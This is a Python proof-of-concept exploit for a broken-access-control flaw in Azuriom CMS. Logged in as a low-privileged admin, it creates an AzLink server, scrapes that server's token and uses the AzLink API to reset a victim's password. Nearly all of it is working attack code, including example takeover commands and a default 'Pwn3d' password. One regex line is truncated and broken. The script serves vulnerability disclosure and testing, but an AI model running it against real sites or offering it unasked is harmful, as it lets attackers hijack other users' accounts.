#!/usr/bin/env python3
"""
CVE-2026-54415 — Azuriom CMS (< 1.2.11) Broken Access Control -> Account Takeover.
A low-privileged admin (holding only `admin.access`) can reach the unprotected
server-management routes, create a `mc-azlink` server, obtain its 32-char server
token, and use the AzLink API to reset any non-admin user's password.
"""
import argparse
import re
import sys
try:
import requests
except ImportError:
sys.exit("[!] Missing dependency: pip install requests")
# ----------------------------------------------------------------------------- #
# cosmetics
# ----------------------------------------------------------------------------- #
class C:
"""ANSI colours; auto-disabled when stdout is not a TTY or --no-color is set."""
R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; B = "\033[34m"
C = "\033[36m"; W = "\033[97m"; D = "\033[2m"; BOLD = "\033[1m"; X = "\033[0m"
@classmethod
def off(cls):
for k in ("R", "G", "Y", "B", "C", "W", "D", "BOLD", "X"):
setattr(cls, k, "")
BANNER = (
"{W}{BOLD}CVE-2026-54415{X} {D}·{X} "
"Azuriom CMS < 1.2.11 {D}·{X} Broken Access Control -> Account Takeover\n"
)
STEP = 0
def step(msg):
global STEP
STEP += 1
print(f"{C.B}{C.BOLD}[{STEP}]{C.X} {msg}")
def ok(msg): print(f" {C.G}✔{C.X} {msg}")
def info(msg): print(f" {C.D}·{C.X} {msg}")
def bad(msg): print(f" {C.R}✘{C.X} {msg}")
def loot(k, v): print(f" {C.Y}★ {k}:{C.X} {C.BOLD}{v}{C.X}")
# ----------------------------------------------------------------------------- #
# exploit
# ----------------------------------------------------------------------------- #
CSRF_RE = re.compile(r'name="_token"\s+value="([^"]+)"')
XSRF_META_RE = re.compile(r' "
SETUP_TOKEN_RE = re.compile(r'azlink[\s_]setup[^\s]*\s+\S+\s+([A-Za-z0-9]{32})')
ANY_TOKEN_RE = re.compile(r'\b([A-Za-z0-9]{32})\b')
def get_csrf(session, url):
r = session.get(url)
r.raise_for_status()
m = CSRF_RE.search(r.text) or XSRF_META_RE.search(r.text)
if not m:
raise RuntimeError(f"Could not find CSRF token at {url}")
return m.group(1), r.text
def login(session, base, user, password):
step(f"Authenticating as low-priv admin {C.W}{user}{C.X}")
token, _ = get_csrf(session, f"{base}/user/login")
r = session.post(
f"{base}/user/login",
data={"_token": token, "email": user, "password": password, "remember": "on"},
allow_redirects=True,
)
if "/user/login" in r.url and "logout" not in r.text.lower():
raise RuntimeError("Login failed — check credentials.")
ok("Authenticated (session established).")
def create_server(session, base, name, address):
step(f"Creating {C.W}mc-azlink{C.X} server (the access-control bypass)")
info(f"name={name!r} address={address!r} — verifyLink() returns true, no real server needed")
token, _ = get_csrf(session, f"{base}/admin/servers/create")
r = session.post(
f"{base}/admin/servers",
data={
"_token": token,
"name": name,
"type": "mc-azlink", # verifyLink() unconditionally returns true
"address": address,
"home_display": "1",
},
allow_redirects=True,
)
r.raise_for_status()
if "/admin/servers/create" in r.url:
raise RuntimeError("Server creation rejected — target looks PATCHED (needs admin.servers).")
ok("Server created — reached a route that should have required admin.servers.")
def extract_token(session, base):
step("Extracting the minted server token from the panel")
r = session.get(f"{base}/admin/servers")
r.raise_for_status()
edit_ids = re.findall(r'/admin/servers/(\d+)/edit', r.text)
ids = sorted({int(i) for i in edit_ids}) or [1]
for sid in reversed(ids):
e = session.get(f"{base}/admin/servers/{sid}/edit")
if e.status_code != 200:
continue
m = SETUP_TOKEN_RE.search(e.text)
if m:
loot(f"server #{sid} token", m.group(1))
return m.group(1)
for cand in ANY_TOKEN_RE.findall(e.text):
if cand.isalnum() and any(c.isdigit() for c in cand) and any(c.isalpha() for c in cand):
loot(f"server #{sid} token (heuristic)", cand)
return cand
raise RuntimeError("Could not extract server token from the panel.")
def takeover(session, base, server_token, game_id, new_password):
step(f"Resetting victim {C.W}game_id={game_id}{C.X} password via AzLink API")
r = session.post(
f"{base}/api/azlink/password",
headers={"Azuriom-Link-Token": server_token, "Accept": "application/json"},
data={"game_id": str(game_id), "password": new_password},
)
if r.status_code in (200, 204):
ok(f"Password for game_id={game_id} set to {C.BOLD}{new_password}{C.X}")
print(f"\n{C.G}{C.BOLD} ==> ACCOUNT TAKEN OVER — log in as the victim with that password.{C.X}\n")
return True
if r.status_code == 422:
bad(f"422 — game_id not found, or target is an admin (admins are protected).")
info(r.text[:200])
else:
bad(f"Unexpected status {r.status_code}")
info(r.text[:200])
return False
# ----------------------------------------------------------------------------- #
# cli
# ----------------------------------------------------------------------------- #
def examples():
# Built at call time (after colour is decided) so piped --help stays clean.
return f"""{C.BOLD}examples{C.X}
{C.D}# full account takeover{C.X}
python3 poc.py --url https://target.tld \\
--admin-user mod@site.tld --admin-pass 'Passw0rd' \\
--victim-game-id 1001 --new-password 'Owned123!'
{C.D}# safe demo — stop after minting a server token, touch no victim{C.X}
python3 poc.py --url https://target.tld \\
--admin-user mod@site.tld --admin-pass 'Passw0rd' \\
--victim-game-id 0 --token-only
{C.D}# self-signed / lab HTTPS{C.X}
python3 poc.py --url https://10.0.0.5 --insecure ...
"""
def main():
# Decide colour BEFORE building the parser, so --help (handled inside
# parse_args) and piped output never leak raw escape codes.
if "--no-color" in sys.argv or not sys.stdout.isatty():
C.off()
p = argparse.ArgumentParser(
prog="poc.py",
description=f"{C.BOLD}CVE-2026-54415{C.X} — Azuriom CMS Broken Access Control -> Account Takeover",
epilog=examples(),
formatter_class=argparse.RawDescriptionHelpFormatter,
)
tgt = p.add_argument_group("target")
tgt.add_argument("--url", required=True, metavar="URL", help="Base URL, e.g. https://target.tld[:port]")
tgt.add_argument("--insecure", action="store_true", help="Skip TLS cert verification (self-signed lab HTTPS)")
tgt.add_argument("--timeout", type=float, default=20, metavar="SEC", help="Per-request timeout (default 20)")
cred = p.add_argument_group("attacker credentials (low-priv admin: admin.access only)")
cred.add_argument("--admin-user", required=True, metavar="USER", help="Attacker login email/username")
cred.add_argument("--admin-pass", required=True, metavar="PASS", help="Attacker password")
act = p.add_argument_group("action")
act.add_argument("--victim-game-id", required=True, metavar="ID", help="game_id of the non-admin victim")
act.add_argument("--new-password", default="Pwn3d!TakenOver", metavar="PW", help="New password to set on the victim")
act.add_argument("--token-only", action="store_true", help="Stop after obtaining the server token (no victim touched)")
adv = p.add_argument_group("advanced")
adv.add_argument("--server-name", default="poc-azlink", metavar="NAME", help="Name for the created server")
adv.add_argument("--server-address", default="127.0.0.1", metavar="ADDR", help="Dummy address (never contacted)")
adv.add_argument("--no-color", action="store_true", help="Disable coloured output")
args = p.parse_args()
print(BANNER.format(W=C.W, BOLD=C.BOLD, D=C.D, X=C.X))
print(f" {C.D}target{C.X} {args.url}\n")
base = args.url.rstrip("/")
s = requests.Session()
s.headers.update({"User-Agent": "CVE-2026-54415-PoC"})
s.verify = not args.insecure
s.request = _timeout_wrapper(s.request, args.timeout)
if args.insecure:
try:
requests.packages.urllib3.disable_warnings() # silence InsecureRequestWarning
except Exception:
pass
try:
login(s, base, args.admin_user, args.admin_pass)
create_server(s, base, args.server_name, args.server_address)
token = extract_token(s, base)
if args.token_only:
print(f"\n{C.G}Done (--token-only). No victim account was modified.{C.X}")
return
print()
ok_ = takeover(s, base, token, args.victim_game_id, args.new_password)
sys.exit(0 if ok_ else 2)
except KeyboardInterrupt:
sys.exit("\n[!] Interrupted.")
except Exception as e:
sys.exit(f"{C.R}[!] {e}{C.X}")
def _timeout_wrapper(fn, timeout):
def wrapped(method, url, **kw):
kw.setdefault("timeout", timeout)
return fn(method, url, **kw)
return wrapped
if __name__ == "__main__":
main()